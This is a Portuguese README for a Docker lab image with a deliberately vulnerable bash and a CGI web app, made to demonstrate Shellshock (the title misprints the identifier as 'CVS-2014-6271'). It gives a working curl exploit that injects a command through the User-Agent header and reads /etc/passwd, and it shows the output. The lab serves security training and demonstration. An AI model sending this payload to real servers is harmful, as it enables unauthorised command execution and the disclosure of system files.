
Vulnerabilidade como serviço: apresentando CVS-2014-6271, também conhecido como Shellshock
Um sistema Linux Debian (Buster) com uma versão vulnerável do bash e uma aplicação web para demonstrar o CVS-2014-6271, também conhecido como Shellshock.
Este container Docker é baseado no Debian Buster e foi modificado para usar uma versão vulnerável do Bash (bash_4.2:2b:dfsg-0.1).
Uma aplicação web está disponível via Apache 2 e serve um script CGI que executa comandos shell.
Instale o container com docker pull hmlio/vaas-cve-2014-6271
Execute o container com um mapeamento de porta docker run -d -p 8080:80 hmlio/vaas-cve-2014-6271
Você deve ser capaz de acessar a aplicação web em http://your-ip:8080/.
A aplicação web/versão vulnerável do bash pode ser explorada conforme mostrado abaixo:
# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" http://your-ip:8080/cgi-bin/stats
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
O conceito e a aplicação web são fortemente inspirados pela VM do VulnHub "Sokar", criada por rasta_mouse. Para mais detalhes, consulte https://www.vulnhub.com/entry/sokar-1,113/.